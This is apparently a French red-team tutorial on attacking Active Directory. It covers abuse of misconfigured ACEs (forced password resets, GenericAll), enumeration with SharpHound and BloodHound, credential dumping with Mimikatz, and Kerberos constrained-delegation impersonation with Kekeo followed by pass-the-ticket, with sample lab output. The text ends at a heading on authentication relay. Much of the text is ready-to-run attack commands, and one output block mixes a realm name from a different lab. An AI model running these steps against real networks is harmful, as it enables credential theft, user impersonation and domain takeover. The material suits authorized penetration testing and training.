REDTEAM – Exploiter l’AD

By : Li_in
REDTEAM ethical hacking

Délégation de permissions

Active Directory peut déléguer des autorisations et des privilèges grâce à une fonction appelée délégation de permissions (à ne pas confondre avec la délégation Kerberos). En utilisant la délégation, un administrateur du domaine peut déléguer des permissions à des groupes d’utilisateurs. En principe, pour garantir la sécurité de la délégation, il convient de respecter le principe du moindre privilège.

Presque tous les objets AD peuvent être sécurisés à l’aide d’ACE, qui décrivent ensuite les autorisations autorisées et refusées que tout autre objet AD possède par rapport à l’objet cible. Cependant, si ces ACE sont mal configurés, un attaquant peut les exploiter.

Manuel (Enumération des ACEs)

Un grand nombre d’ACE peuvent être mal configurés et les moyens d’exploitation varient d’un ACE à l’autre. La documentation de Bloodhound explique les ACEs énumérés et comment ils peuvent être exploités. Cependant, nous nous pencherons ici sur quelques ACE notables :

  • ForceChangePassword : Peut définir le mot de passe l’utilisateur sans connaître son mot de passe actuel.
net user /domain <username> "<new-password>"
  • AddMembers : Peut ajouter des utilisateurs (y compris notre propre compte), des groupes ou des ordinateurs à un groupe cible.
  • GenericAll : A un contrôle complet sur l’objet (changer le mot de passe de l’utilisateur, enregistrer un SPN ou d’ajouter un objet AD au groupe).
net user /domain <username> "<new-password>"
  • GenericWrite : Peut modifier tous les paramètres non protégés l’objet cible.
  • WriteOwner : Peut modifier le propriétaire de l’objet cible.
  • WriteDACL : Peut ajouter de nouveaux ACE dans le DACL de l’objet cible (ex: écrire une ACE qui accorde à notre compte un contrôle total sur l’objet cible).
  • AllExtendedRights (Tous les droits étendus) : Nous avons la possibilité d’effectuer toute action associée aux droits AD étendus sur l’objet cible.

Afin d’exploiter ces ACE, nous aurons besoin d’interagir avec AD afin de faire ces requêtes. Les deux meilleures options sont les cmdlets PowerShell AD-RSAT ou PowerSploit.

Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory

Obtenir les ACLs d’un objet :

(Get-Acl -Path "C:\Windows\<file/folder>").access

Get-Acl -Path "AD:\<AD-object-DN>"

Bloodhound / SharpHound

Bloodhound permet de visualiser l’environnement AD sous forme de graphe. Chaque connexion est un chemin possible qui pourrait être exploité pour atteindre un but.

Cette pensée basée sur les graphes a ouvert un monde aux attaquants. Les attaquants peuvent désormais utiliser ces données hors ligne pour trouver des chemins d’attaque, montrant précisément les étapes et les sauts nécessaires. Ils peuvent ensuite revenir et atteindre leur objectif en quelques minutes.

Sharphound est l’outil d’énumération de Bloodhound : il récupère l’information sur le réseau et la machine. Il existe trois différents collecteurs de Sharphound :

  • Sharphound.exe – Une version exécutable (recommandé).
  • Sharphound.ps1 – Script PowerShell
  • AzureHound.ps1 – Script PowerShell pour l’exécution d’instances Sharphound pour Azure (Microsoft Cloud Computing Services)
Extraction

Ne touche pas à l’AD (–ExcludeDCs) :

SharpHound.exe --CollectionMethods All --Domain <domain> --ExcludeDCs

scp <username>@<IP/FQDN>:<Path>/<Sharphound ZIP> .
Analyse
neo4j console start

bloodhound --no-sandbox

Drag & Drop le fichier zip et happy graphing !

Délégation Kerberos

Constrained Delegation

Enumérer les délégations (Powerview)

Get-NetUser -TrustedToAuth

Récupération des identifiants (Mimikatz)

C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # token::elevate
mimikatz # lsadump::secrets

Une fois les identifiants du compte récupéré. On peut mener notre attaque Kerberos

Attaque par délégation (Kekeo & Mimikatz)

Nous utiliserons une combinaison de Kekeo et de Mimikatz. Vous pouvez utiliser une autre fenêtre pour Mimikatz, mais assurez-vous de sortir de Mimikatz après la commande token::elevate, sinon les tickets seront chargés dans le mauvais contexte par la suite.

Génération d’un TGT (Kekeo) :
PS C:\> C:\Tools\kekeo\x64\kekeo.exe

tgt::ask /user:<username> /domain:<domain> /password:<password>

PS C:\> kekeo # tgt::ask /user:appWeb  /domain:lab.capsule.corp /password:<password>

Realm        : za.tryhackme.loc (za)
User         : appWeb (appWeb)
CName        : appWeb   [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/lab.capsule.corp  [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 24460d632f279c789b20049cee36ae90
[kdc] name: dc.lab.capsule.corp (auto)
[kdc] addr: 192.168.2.15 (auto)
  > Ticket in file '[email protected][email protected]'
Génération d’un Service Ticket (Kekeo) :

En utilisant la délégation on peut obtenir un TGS/ST (Service Ticket) au nom d’un utilisateur :

tgs::s4u /tgt:<path-to-TGT-file> /user:<username-to-inpersonate> /service:<service-to-delegate>

# exemple

kekeo # tgs::s4u /tgt:[email protected][email protected] /user:picolo.namek /service:http/Server01.lab.capsule.corp

Ticket  : [email protected][email protected]
......
[s4u2self] picolo.namek
......
  > Ticket in file '[email protected][email protected]'
Service(s):
  [s4u2proxy] http/Server01.lab.capsule.corp
  > Ticket in file '[email protected][email protected]'
Chargement du TGS en mémoire (Mimikatz) :
privilege::debug
kerberos::ptt <TGS-file-path>

# exemple 

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt [email protected][email protected]

* File: '[email protected][email protected]': OK

Auth. Relay

Les tentatives d’authentification se font constamment à travers le réseau. Il nous est possible de les intercepter pour tenter de les cracker ou de les rejouer.